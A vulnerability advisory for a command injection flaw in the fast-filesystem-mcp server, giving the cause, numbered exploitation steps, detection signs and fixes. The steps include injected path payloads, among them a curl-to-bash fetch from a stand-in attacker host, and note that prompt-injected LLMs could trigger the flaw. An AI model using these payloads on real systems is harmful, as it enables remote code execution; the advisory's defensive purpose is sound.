CVE-2026-5327: 
JavaScript vulnerability analysis and mitigation

CVE-2026-5327 is a command injection vulnerability in the efforthye/fast-filesystem-mcp npm package, a Model Context Protocol (MCP) server providing filesystem access for Claude and other AI assistants. The vulnerability exists in the handleGetDiskUsage function within src/index.ts and affects all versions up to and including 3.5.1. It was disclosed on April 2, 2026, with a public proof-of-concept (PoC) released at the time of disclosure. The vulnerability carries a CVSS v3.1 base score of 6.3 (Medium) and a CVSS v4.0 base score of 5.3 (Medium) (Github Advisory, Feedly).

The root cause is improper neutralization of special elements used in a command (CWE-77 / CWE-74): the handleGetDiskUsage function in src/index.ts constructs shell command strings by directly interpolating user-supplied input (e.g., the path parameter) and executes them via Node.js child_process.execAsync, which invokes a system shell. Because execAsync passes the constructed string to a shell interpreter, shell metacharacters such as ;, &, and | embedded in attacker-controlled input are interpreted as command delimiters, enabling injection of arbitrary commands. The same pattern also affects the fast_compress_files and fast_extract_archive tools (lines ~550–559 and ~2211–2240 of src/index.ts). In MCP environments, LLM-generated tool parameters influenced by external content (prompt injection) may trigger this vulnerability without direct user interaction. A PoC has been publicly released as a PDF attachment to the GitHub issue (GitHub Issue #15, Github Advisory).

Successful exploitation allows an authenticated attacker with low privileges to execute arbitrary operating system commands on the host running the MCP server, with the privileges of the MCP server process. This results in low-to-moderate confidentiality impact (unauthorized access to files and data accessible by the process), low integrity impact (modification of files or system state), and low availability impact (potential service disruption). In AI-assistant deployment contexts, the attack surface is broadened because LLM-generated parameters derived from untrusted external content could trigger the injection without explicit attacker interaction with the MCP API (Github Advisory, GitHub Issue #15).

A public PoC exploit was released alongside disclosure in the form of a PDF document attached to GitHub Issue #15, and the exploit has been made available on VulDB (Github Advisory, GitHub Issue #15). Exploitation requires low privileges (authenticated access to the MCP server) and no user interaction. The EPSS score is approximately 1.23–1.32%, indicating a moderate near-term exploitation probability relative to the broader CVE population. There is no current evidence of in-the-wild exploitation or threat actor attribution, and the vulnerability is not listed in the CISA KEV catalog (Feedly).

1. Identify target: Locate a deployment of fast-filesystem-mcp version ≤ 3.5.1 accessible over the network (e.g., via Claude Desktop or another MCP client configuration).
2. Obtain low-privilege access: Authenticate to the MCP server with any valid low-privilege account or MCP client session.
3. Invoke the vulnerable tool: Send a request to the fast_get_disk_usage tool (or fast_compress_files / fast_extract_archive) with a crafted path parameter containing shell metacharacters.
4. Inject payload: Supply a value such as /tmp; id > /tmp/pwned or /tmp && curl http://attacker.com/shell.sh | bash as the path argument. Because the value is interpolated directly into a shell command string passed to execAsync, the shell interprets the metacharacter as a command separator and executes the injected command.
5. Achieve arbitrary command execution: The injected command runs with the privileges of the MCP server Node.js process, enabling data exfiltration, reverse shell establishment, or further host compromise (GitHub Issue #15, Github Advisory).

• Process: Unexpected child processes spawned by the Node.js MCP server process (e.g., /bin/sh, bash, curl, wget, python) with unusual arguments or parent-child relationships.
• Logs: MCP server logs showing fast_get_disk_usage, fast_compress_files, or fast_extract_archive tool invocations with path, output_path, archive_path, or extract_to parameters containing shell metacharacters (;, &, |, $(), backticks).
• File System: Unexpected files created in world-writable directories (e.g., /tmp) by the MCP server process; new cron jobs, scripts, or binaries written by the MCP server user account.
• Network: Outbound connections from the MCP server host to unknown external IPs or domains, particularly shortly after tool invocations with anomalous parameters.

The GitHub Advisory indicates a patch is available for versions after 3.5.1; organizations should update fast-filesystem-mcp to the latest version beyond 3.5.1 immediately (Github Advisory). As a workaround prior to patching, restrict network access to the MCP server and limit the privileges of the process account to the minimum necessary. The recommended code-level fix is to replace child_process.execAsync with execFileSync (or execFile), which accepts the command and arguments as separate array elements and does not invoke a shell, preventing metacharacter interpretation. Additionally, apply strict input validation and allowlisting on all tool parameters exposed to MCP clients, especially path, output_path, archive_path, and extract_to (GitHub Issue #15).

The vulnerability was reported to the project maintainer via GitHub Issue #15 on March 8, 2026, but as of the disclosure date (April 2, 2026), the project had not responded or released a patch (GitHub Issue #15). The issue was also noted on Bluesky by automated CVE tracking accounts. No significant vendor statements, notable researcher commentary, or major media coverage has been identified beyond the standard vulnerability database entries.